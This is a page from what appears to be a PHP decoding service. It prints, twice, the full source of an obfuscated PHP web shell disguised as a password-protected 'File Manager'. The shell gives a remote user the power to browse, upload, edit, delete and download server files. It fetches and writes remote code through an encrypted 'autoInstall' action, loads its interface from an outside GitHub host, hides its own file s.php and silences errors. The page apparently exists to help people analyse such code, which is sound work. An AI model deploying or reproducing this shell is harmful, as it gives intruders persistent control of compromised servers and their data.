Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto EdYDo; hMv9N: function Delete($path) { if (is_dir($path) === true) { $files = array_d..
Decoded Output download
<? goto EdYDo; hMv9N: function Delete($path) { if (is_dir($path) === true) { $files = array_diff(scandir($path), array(".", "..")); foreach ($files as $file) { Delete(realpath($path) . "/" . $file); } rmdir($path); } else { if (is_file($path) === true) { $parts = explode("/", $path); $last = array_pop($parts); $file = array(implode("/", $parts), $last); if ($file[1] != "s.php") { unlink($path); } } } } goto uU6az; cThp4: if (isset($_POST["data"])) { if (!isset($_SESSION["Hacker"])) { $result["success"] = true; $result["data"] = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; } else { if ($_SESSION["Hacker"] != $Hacker) { $result["success"] = true; $result["data"] = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; } else { $data = $_POST["data"]; if ($data == "Load") { $result["success"] = true; $result["data"] = "<div class="fix"><h1 class="owner">File Manager</h1><div class="newSell"><div class="newSell_title" id="dir">./</div><i id="openSell_btn" class="fa-light fa-square-plus"></i><div class="newSell_btn"> <i id="CreateFile" class="fa-light fa-file-plus"></i><i id="upload" class="fa-light fa-file-arrow-up"></i><i id="CreateFolder" class="fa-light fa-folder-plus"></i><i id="InstallShell" class="fa-light fa-shield-plus"></i><i id="closeSell_btn" class="fa-light fa-rectangle-xmark"></i></div></div></div><div id="folders"></div>"; } else { if ($data == "dir") { $dir = $_POST["dir"]; if ($dir == ".") { $undoDir = $dir . "/../"; if (is_dir($undoDir)) { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir . "">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $openedDir = $dir . "/"; } else { if (checkUndo($dir)) { $undoDir = $dir . "../"; if (is_dir($undoDir)) { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir . "">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $openedDir = $dir; } else { $parts = explode("/", $dir); $last = array_pop($parts); $undoDir = array(implode("/", $parts), $last); $output = "<div class="flex"><div id="openDir" data-dir="" . $undoDir[0] . "" class="folders">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; $openedDir = $dir . "/"; } } $openDir = ''; $titleDir = ''; $explodeDir = explode("/", $openedDir); for ($i = 0; $i < count($explodeDir); $i++) { $openDir = $openDir . $explodeDir[$i]; $ii = $i + 1; if ($ii == count($explodeDir)) { $slash = ''; } else { $slash = "/"; } $titleDir = $titleDir . "<span id="openDir" style="cursor: pointer;" data-dir="" . $openDir . "">" . $explodeDir[$i] . "</span>" . $slash; $openDir = $openDir . $slash; } $folders = scandir($dir); foreach ($folders as $folder) { if ($folder === "." or $folder === ".." or $folder === "s.php") { continue; } else { if (checkUndo($dir)) { $path = $dir . $folder; } else { $path = $dir . "/" . $folder; } if (is_file($path)) { $output .= "<div class="flex"><div class="folders" id="openFile" data-file="" . $path . ""><i class="fa-light fa-file"></i> " . $folder . "</div><div id="openLink" data-path="" . $path . "" class="size">" . file_size($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . Get_Name($path) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="download" data-dir="" . $path . "" class="fa-light fa-download"></i></div></div>"; } else { $output .= "<div class="flex"><div class="folders" id="openDir" data-dir="" . $path . ""><i class="fa-light fa-folder"></i> " . $folder . "</div><div id="openLink" data-path="" . $path . "" class="size">" . folder_size($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . Get_Name($path) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="zipDir" data-dir="" . $path . "" class="fa-light fa-file-zipper"></i></div></div>"; } } } $result["success"] = true; $result["data"] = $output; $result["dir"] = $titleDir; } else { if ($data == "zipDir") { $dir = $_POST["dir"]; $zipDir = $_POST["zipDir"]; $parts = explode("/", $zipDir); $last = array_pop($parts); $folder = array(implode("/", $parts), $last); if (checkUndo($dir)) { $zipfile = $dir . $folder[1] . ".zip"; } else { $zipfile = $dir . "/" . $folder[1] . ".zip"; } $rootPath = realpath($zipDir); $zip = new ZipArchive(); $zip->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); $result["success"] = true; } else { if ($data == "Delete") { Delete($_POST["Delete"]); $result["success"] = true; } else { if ($data == "Download") { $file = $_POST["filePath"]; header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=" . basename($file)); header("Content-Transfer-Encoding: binary"); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); ob_clean(); flush(); readfile($file); die; } else { if ($data == "Rename") { $renameDir = $_POST["renameDir"]; $newName = $_POST["newName"]; $parts = explode("/", $renameDir); $last = array_pop($parts); $dir = array(implode("/", $parts), $last); $newDir = $dir[0] . "/" . $newName; if (is_dir($newDir) === true) { $result["data"] = "2"; } else { if (is_file($newDir) === true) { $result["data"] = "2"; } else { if (rename($renameDir, $newDir)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } } $result["success"] = true; } else { if ($data == "newFile") { $dir = $_POST["dir"]; $newFileName = $_POST["newFileName"]; if (checkUndo($dir)) { $newfile = $dir . $newFileName; } else { $newfile = $dir . "/" . $newFileName; } if (is_file($newfile) === true) { $result["data"] = "2"; } else { if (file_put_contents($newfile, " ")) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "newFolder") { $dir = $_POST["dir"]; $newFolderName = $_POST["newFolderName"]; if (checkUndo($dir)) { $newfolder = $dir . $newFolderName; } else { $newfolder = $dir . "/" . $newFolderName; } if (is_dir($newfolder) === true) { $result["data"] = "2"; } else { if (mkdir($newfolder, 511, true)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "Upload") { $dir = $_POST["dir"]; $fileName = $_POST["fileName"]; if (checkUndo($dir)) { $newfile = $dir . $fileName; } else { $newfile = $dir . "/" . $fileName; } if (is_file($newfile) === true) { $result["data"] = "2"; } else { if (move_uploaded_file($_FILES["file"]["tmp_name"], $newfile)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "Open File") { $file = $_POST["file"]; $mimeType = mime_content_type($file); $type = explode("/", $mimeType); if ($type[0] == "image") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><img src="" . $file . ""></div></div>"; $result["type"] = "image"; } else { if ($type[0] == "video") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><video controls><source src="" . $file . ""></video></div></div>"; $result["type"] = "video"; } else { if ($type[0] == "audio") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><audio controls><source src="" . $file . ""></audio></div></div>"; $result["type"] = "video"; } else { if ($type[0] == "text") { if (file_get_contents($file)) { $result["content"] = file_get_contents($file); $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="addNowrap" class="fa-light fa-align-justify"></i><i id="removeNowrap" class="fa-light fa-align-slash"></i><i id="viewFileClose" class="fa-light fa-xmark"></i><i id="viewFileSave" class="fa-light fa-floppy-disk"></i></div></div><input type="hidden" id="viewFileDir" value="" . $file . ""></div></div>"; $result["type"] = "text"; } else { $result["type"] = "Permission Denied"; } } else { if ($type[0] == "application") { if ($type[1] == "octet-stream" or $type[1] == "x-csh" or $type[1] == "java-archive" or $type[1] == "json" or $type[1] == "ld+json" or $type[1] == "x-httpd-php") { if (file_get_contents($file)) { $result["content"] = file_get_contents($file); $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="addNowrap" class="fa-light fa-align-justify"></i><i id="removeNowrap" class="fa-light fa-align-slash"></i><i id="viewFileClose" class="fa-light fa-xmark"></i><i id="viewFileSave" class="fa-light fa-floppy-disk"></i></div></div><input type="hidden" id="viewFileDir" value="" . $file . ""></div></div>"; $result["type"] = "text"; } else { $result["type"] = "Permission Denied"; } } else { if ($type[1] == "zip") { $result["data"] = $file; $result["type"] = "zip"; } else { $result["type"] = $mimeType; } } } else { $result["type"] = $mimeType; } } } } } $result["success"] = true; } else { if ($data == "Update File") { $fileCode = $_POST["fileCode"]; $fileDir = $_POST["fileDir"]; if (file_put_contents($fileDir, $fileCode)) { $result["data"] = "1"; } else { $result["data"] = "2"; } $result["success"] = true; } else { if ($data == "Unzip File") { $file = $_POST["file"]; $path = pathinfo(realpath($file), PATHINFO_DIRNAME); $zip = new ZipArchive(); $res = $zip->open($file); if ($res === true) { $zip->extractTo($path); $zip->close(); $result["data"] = true; } else { $result["data"] = false; } $result["success"] = true; } else { if ($data == "autoInstall") { $dir = $_POST["dir"]; $autoInstall = explode("|SHELL|", getDecode($_POST["autoInstall"])); if (checkUndo($dir)) { $installfile = $dir . $autoInstall[0]; } else { $installfile = $dir . "/" . $autoInstall[0]; } if (is_file($installfile) === true) { $result["data"] = "2"; } else { $installContent = getContent($autoInstall[1]); if ($installContent == '') { $result["data"] = "4"; } else { if (file_put_contents($installfile, $installContent)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } } $result["success"] = true; } else { if ($data == "Uninstall") { $uninstallContent = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/uninstall/uninstall.php"); if ($uninstallContent == '') { $result["data"] = "2"; } else { if (file_put_contents("s.php", $uninstallContent)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { $result["success"] = false; } } } } } } } } } } } } } } } } echo json_encode($result); die; } else { if (isset($_POST["login"])) { $login = $_POST["login"]; if ($login == $Hacker) { $_SESSION["Hacker"] = $Hacker; $result["success"] = true; } else { $result["success"] = false; $result["data"] = "Wrong Password!"; } echo json_encode($result); die; } else { $index = getContent("https://github.com/samiulalim1/shell/raw/main/html/v1/index.html"); $style = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/style/v1/style1.css"); $script = getContent("https://github.com/samiulalim1/shell/raw/main/script/v1/script.js"); echo str_replace("|SCRIPT|", $script, str_replace("|STYLE|", $style, $index)); } } goto Hnnzg; zsBOj: function file_size($file) { $size = filesize($file); return format_size($size); } goto kloa9; uU6az: function Get_Name($path) { $parts = explode("/", $path); $last = array_pop($parts); $file = array(implode("/", $parts), $last); return $file[1]; } goto V1hNy; ATgEx: function folder_size($folder) { $size = 0; $files = scandir($folder); foreach ($files as $file) { if ($file === "." or $file === "..") { continue; } else { $path = $folder . "/" . $file; if (is_file($path)) { $size = $size + filesize($path); } else { $size = $size + folder_files($path); } } } return format_size($size); } goto zsBOj; V1hNy: function getDecode($encode) { $key = "SamiulAlim"; $chiper = "AES-128-CTR"; $iv = hex2bin("2c269a65037c190f4994f11c0f1e37c0"); return openssl_decrypt($encode, $chiper, $key, 0, $iv); } goto L5TgI; kloa9: function checkUndo($dir) { $parts = explode(".", $dir); $last = array_pop($parts); $undoDir = array(implode("/", $parts), $last); if ($undoDir[1] == "/") { return true; } else { return false; } } goto hMv9N; icnS2: error_reporting(0); goto LOiAd; nkEhB: function format_size($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . " GB"; } else { if ($size >= 1048576) { $size = number_format($size / 1048576, 2) . " MB"; } else { if ($size >= 1024) { $size = number_format($size / 1024, 2) . " KB"; } else { if ($size > 1) { $size = $size . " bytes"; } else { if ($size == 1) { $size = $size . " byte"; } else { $size = "0 bytes"; } } } } } return $size; } goto Pe5FZ; L5TgI: function getContent($url) { $context = stream_context_create(array("http" => array("header" => "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"))); return $result = file_get_contents($url, false, $context); } goto cThp4; LOiAd: $Hacker = "hack 0597"; goto nkEhB; Pe5FZ: function folder_files($folder) { $size = 0; $files = scandir($folder); foreach ($files as $file) { if ($file === "." or $file === "..") { continue; } else { $path = $folder . "/" . $file; if (is_file($path)) { $size = $size + filesize($path); } else { $size = $size + folder_files($path); } } } return $size; } goto ATgEx; EdYDo: session_start(); goto icnS2; Hnnzg:
?>
Did this file decode correctly?
Original Code
goto EdYDo; hMv9N: function Delete($path) { if (is_dir($path) === true) { $files = array_diff(scandir($path), array(".", "..")); foreach ($files as $file) { Delete(realpath($path) . "/" . $file); } rmdir($path); } else { if (is_file($path) === true) { $parts = explode("/", $path); $last = array_pop($parts); $file = array(implode("/", $parts), $last); if ($file[1] != "s.php") { unlink($path); } } } } goto uU6az; cThp4: if (isset($_POST["data"])) { if (!isset($_SESSION["Hacker"])) { $result["success"] = true; $result["data"] = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; } else { if ($_SESSION["Hacker"] != $Hacker) { $result["success"] = true; $result["data"] = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; } else { $data = $_POST["data"]; if ($data == "Load") { $result["success"] = true; $result["data"] = "<div class="fix"><h1 class="owner">File Manager</h1><div class="newSell"><div class="newSell_title" id="dir">./</div><i id="openSell_btn" class="fa-light fa-square-plus"></i><div class="newSell_btn"> <i id="CreateFile" class="fa-light fa-file-plus"></i><i id="upload" class="fa-light fa-file-arrow-up"></i><i id="CreateFolder" class="fa-light fa-folder-plus"></i><i id="InstallShell" class="fa-light fa-shield-plus"></i><i id="closeSell_btn" class="fa-light fa-rectangle-xmark"></i></div></div></div><div id="folders"></div>"; } else { if ($data == "dir") { $dir = $_POST["dir"]; if ($dir == ".") { $undoDir = $dir . "/../"; if (is_dir($undoDir)) { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir . "">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $openedDir = $dir . "/"; } else { if (checkUndo($dir)) { $undoDir = $dir . "../"; if (is_dir($undoDir)) { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir . "">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $openedDir = $dir; } else { $parts = explode("/", $dir); $last = array_pop($parts); $undoDir = array(implode("/", $parts), $last); $output = "<div class="flex"><div id="openDir" data-dir="" . $undoDir[0] . "" class="folders">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; $openedDir = $dir . "/"; } } $openDir = ''; $titleDir = ''; $explodeDir = explode("/", $openedDir); for ($i = 0; $i < count($explodeDir); $i++) { $openDir = $openDir . $explodeDir[$i]; $ii = $i + 1; if ($ii == count($explodeDir)) { $slash = ''; } else { $slash = "/"; } $titleDir = $titleDir . "<span id="openDir" style="cursor: pointer;" data-dir="" . $openDir . "">" . $explodeDir[$i] . "</span>" . $slash; $openDir = $openDir . $slash; } $folders = scandir($dir); foreach ($folders as $folder) { if ($folder === "." or $folder === ".." or $folder === "s.php") { continue; } else { if (checkUndo($dir)) { $path = $dir . $folder; } else { $path = $dir . "/" . $folder; } if (is_file($path)) { $output .= "<div class="flex"><div class="folders" id="openFile" data-file="" . $path . ""><i class="fa-light fa-file"></i> " . $folder . "</div><div id="openLink" data-path="" . $path . "" class="size">" . file_size($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . Get_Name($path) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="download" data-dir="" . $path . "" class="fa-light fa-download"></i></div></div>"; } else { $output .= "<div class="flex"><div class="folders" id="openDir" data-dir="" . $path . ""><i class="fa-light fa-folder"></i> " . $folder . "</div><div id="openLink" data-path="" . $path . "" class="size">" . folder_size($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . Get_Name($path) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="zipDir" data-dir="" . $path . "" class="fa-light fa-file-zipper"></i></div></div>"; } } } $result["success"] = true; $result["data"] = $output; $result["dir"] = $titleDir; } else { if ($data == "zipDir") { $dir = $_POST["dir"]; $zipDir = $_POST["zipDir"]; $parts = explode("/", $zipDir); $last = array_pop($parts); $folder = array(implode("/", $parts), $last); if (checkUndo($dir)) { $zipfile = $dir . $folder[1] . ".zip"; } else { $zipfile = $dir . "/" . $folder[1] . ".zip"; } $rootPath = realpath($zipDir); $zip = new ZipArchive(); $zip->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); $result["success"] = true; } else { if ($data == "Delete") { Delete($_POST["Delete"]); $result["success"] = true; } else { if ($data == "Download") { $file = $_POST["filePath"]; header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=" . basename($file)); header("Content-Transfer-Encoding: binary"); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); ob_clean(); flush(); readfile($file); die; } else { if ($data == "Rename") { $renameDir = $_POST["renameDir"]; $newName = $_POST["newName"]; $parts = explode("/", $renameDir); $last = array_pop($parts); $dir = array(implode("/", $parts), $last); $newDir = $dir[0] . "/" . $newName; if (is_dir($newDir) === true) { $result["data"] = "2"; } else { if (is_file($newDir) === true) { $result["data"] = "2"; } else { if (rename($renameDir, $newDir)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } } $result["success"] = true; } else { if ($data == "newFile") { $dir = $_POST["dir"]; $newFileName = $_POST["newFileName"]; if (checkUndo($dir)) { $newfile = $dir . $newFileName; } else { $newfile = $dir . "/" . $newFileName; } if (is_file($newfile) === true) { $result["data"] = "2"; } else { if (file_put_contents($newfile, " ")) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "newFolder") { $dir = $_POST["dir"]; $newFolderName = $_POST["newFolderName"]; if (checkUndo($dir)) { $newfolder = $dir . $newFolderName; } else { $newfolder = $dir . "/" . $newFolderName; } if (is_dir($newfolder) === true) { $result["data"] = "2"; } else { if (mkdir($newfolder, 511, true)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "Upload") { $dir = $_POST["dir"]; $fileName = $_POST["fileName"]; if (checkUndo($dir)) { $newfile = $dir . $fileName; } else { $newfile = $dir . "/" . $fileName; } if (is_file($newfile) === true) { $result["data"] = "2"; } else { if (move_uploaded_file($_FILES["file"]["tmp_name"], $newfile)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "Open File") { $file = $_POST["file"]; $mimeType = mime_content_type($file); $type = explode("/", $mimeType); if ($type[0] == "image") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><img src="" . $file . ""></div></div>"; $result["type"] = "image"; } else { if ($type[0] == "video") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><video controls><source src="" . $file . ""></video></div></div>"; $result["type"] = "video"; } else { if ($type[0] == "audio") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><audio controls><source src="" . $file . ""></audio></div></div>"; $result["type"] = "video"; } else { if ($type[0] == "text") { if (file_get_contents($file)) { $result["content"] = file_get_contents($file); $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="addNowrap" class="fa-light fa-align-justify"></i><i id="removeNowrap" class="fa-light fa-align-slash"></i><i id="viewFileClose" class="fa-light fa-xmark"></i><i id="viewFileSave" class="fa-light fa-floppy-disk"></i></div></div><input type="hidden" id="viewFileDir" value="" . $file . ""></div></div>"; $result["type"] = "text"; } else { $result["type"] = "Permission Denied"; } } else { if ($type[0] == "application") { if ($type[1] == "octet-stream" or $type[1] == "x-csh" or $type[1] == "java-archive" or $type[1] == "json" or $type[1] == "ld+json" or $type[1] == "x-httpd-php") { if (file_get_contents($file)) { $result["content"] = file_get_contents($file); $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="addNowrap" class="fa-light fa-align-justify"></i><i id="removeNowrap" class="fa-light fa-align-slash"></i><i id="viewFileClose" class="fa-light fa-xmark"></i><i id="viewFileSave" class="fa-light fa-floppy-disk"></i></div></div><input type="hidden" id="viewFileDir" value="" . $file . ""></div></div>"; $result["type"] = "text"; } else { $result["type"] = "Permission Denied"; } } else { if ($type[1] == "zip") { $result["data"] = $file; $result["type"] = "zip"; } else { $result["type"] = $mimeType; } } } else { $result["type"] = $mimeType; } } } } } $result["success"] = true; } else { if ($data == "Update File") { $fileCode = $_POST["fileCode"]; $fileDir = $_POST["fileDir"]; if (file_put_contents($fileDir, $fileCode)) { $result["data"] = "1"; } else { $result["data"] = "2"; } $result["success"] = true; } else { if ($data == "Unzip File") { $file = $_POST["file"]; $path = pathinfo(realpath($file), PATHINFO_DIRNAME); $zip = new ZipArchive(); $res = $zip->open($file); if ($res === true) { $zip->extractTo($path); $zip->close(); $result["data"] = true; } else { $result["data"] = false; } $result["success"] = true; } else { if ($data == "autoInstall") { $dir = $_POST["dir"]; $autoInstall = explode("|SHELL|", getDecode($_POST["autoInstall"])); if (checkUndo($dir)) { $installfile = $dir . $autoInstall[0]; } else { $installfile = $dir . "/" . $autoInstall[0]; } if (is_file($installfile) === true) { $result["data"] = "2"; } else { $installContent = getContent($autoInstall[1]); if ($installContent == '') { $result["data"] = "4"; } else { if (file_put_contents($installfile, $installContent)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } } $result["success"] = true; } else { if ($data == "Uninstall") { $uninstallContent = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/uninstall/uninstall.php"); if ($uninstallContent == '') { $result["data"] = "2"; } else { if (file_put_contents("s.php", $uninstallContent)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { $result["success"] = false; } } } } } } } } } } } } } } } } echo json_encode($result); die; } else { if (isset($_POST["login"])) { $login = $_POST["login"]; if ($login == $Hacker) { $_SESSION["Hacker"] = $Hacker; $result["success"] = true; } else { $result["success"] = false; $result["data"] = "Wrong Password!"; } echo json_encode($result); die; } else { $index = getContent("https://github.com/samiulalim1/shell/raw/main/html/v1/index.html"); $style = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/style/v1/style1.css"); $script = getContent("https://github.com/samiulalim1/shell/raw/main/script/v1/script.js"); echo str_replace("|SCRIPT|", $script, str_replace("|STYLE|", $style, $index)); } } goto Hnnzg; zsBOj: function file_size($file) { $size = filesize($file); return format_size($size); } goto kloa9; uU6az: function Get_Name($path) { $parts = explode("/", $path); $last = array_pop($parts); $file = array(implode("/", $parts), $last); return $file[1]; } goto V1hNy; ATgEx: function folder_size($folder) { $size = 0; $files = scandir($folder); foreach ($files as $file) { if ($file === "." or $file === "..") { continue; } else { $path = $folder . "/" . $file; if (is_file($path)) { $size = $size + filesize($path); } else { $size = $size + folder_files($path); } } } return format_size($size); } goto zsBOj; V1hNy: function getDecode($encode) { $key = "SamiulAlim"; $chiper = "AES-128-CTR"; $iv = hex2bin("2c269a65037c190f4994f11c0f1e37c0"); return openssl_decrypt($encode, $chiper, $key, 0, $iv); } goto L5TgI; kloa9: function checkUndo($dir) { $parts = explode(".", $dir); $last = array_pop($parts); $undoDir = array(implode("/", $parts), $last); if ($undoDir[1] == "/") { return true; } else { return false; } } goto hMv9N; icnS2: error_reporting(0); goto LOiAd; nkEhB: function format_size($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . " GB"; } else { if ($size >= 1048576) { $size = number_format($size / 1048576, 2) . " MB"; } else { if ($size >= 1024) { $size = number_format($size / 1024, 2) . " KB"; } else { if ($size > 1) { $size = $size . " bytes"; } else { if ($size == 1) { $size = $size . " byte"; } else { $size = "0 bytes"; } } } } } return $size; } goto Pe5FZ; L5TgI: function getContent($url) { $context = stream_context_create(array("http" => array("header" => "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"))); return $result = file_get_contents($url, false, $context); } goto cThp4; LOiAd: $Hacker = "hack 0597"; goto nkEhB; Pe5FZ: function folder_files($folder) { $size = 0; $files = scandir($folder); foreach ($files as $file) { if ($file === "." or $file === "..") { continue; } else { $path = $folder . "/" . $file; if (is_file($path)) { $size = $size + filesize($path); } else { $size = $size + folder_files($path); } } } return $size; } goto ATgEx; EdYDo: session_start(); goto icnS2; Hnnzg:
Function Calls
None |
Stats
MD5 | af6af5c9c77d42540d0f01c6c18e703d |
Eval Count | 0 |
Decode Time | 46 ms |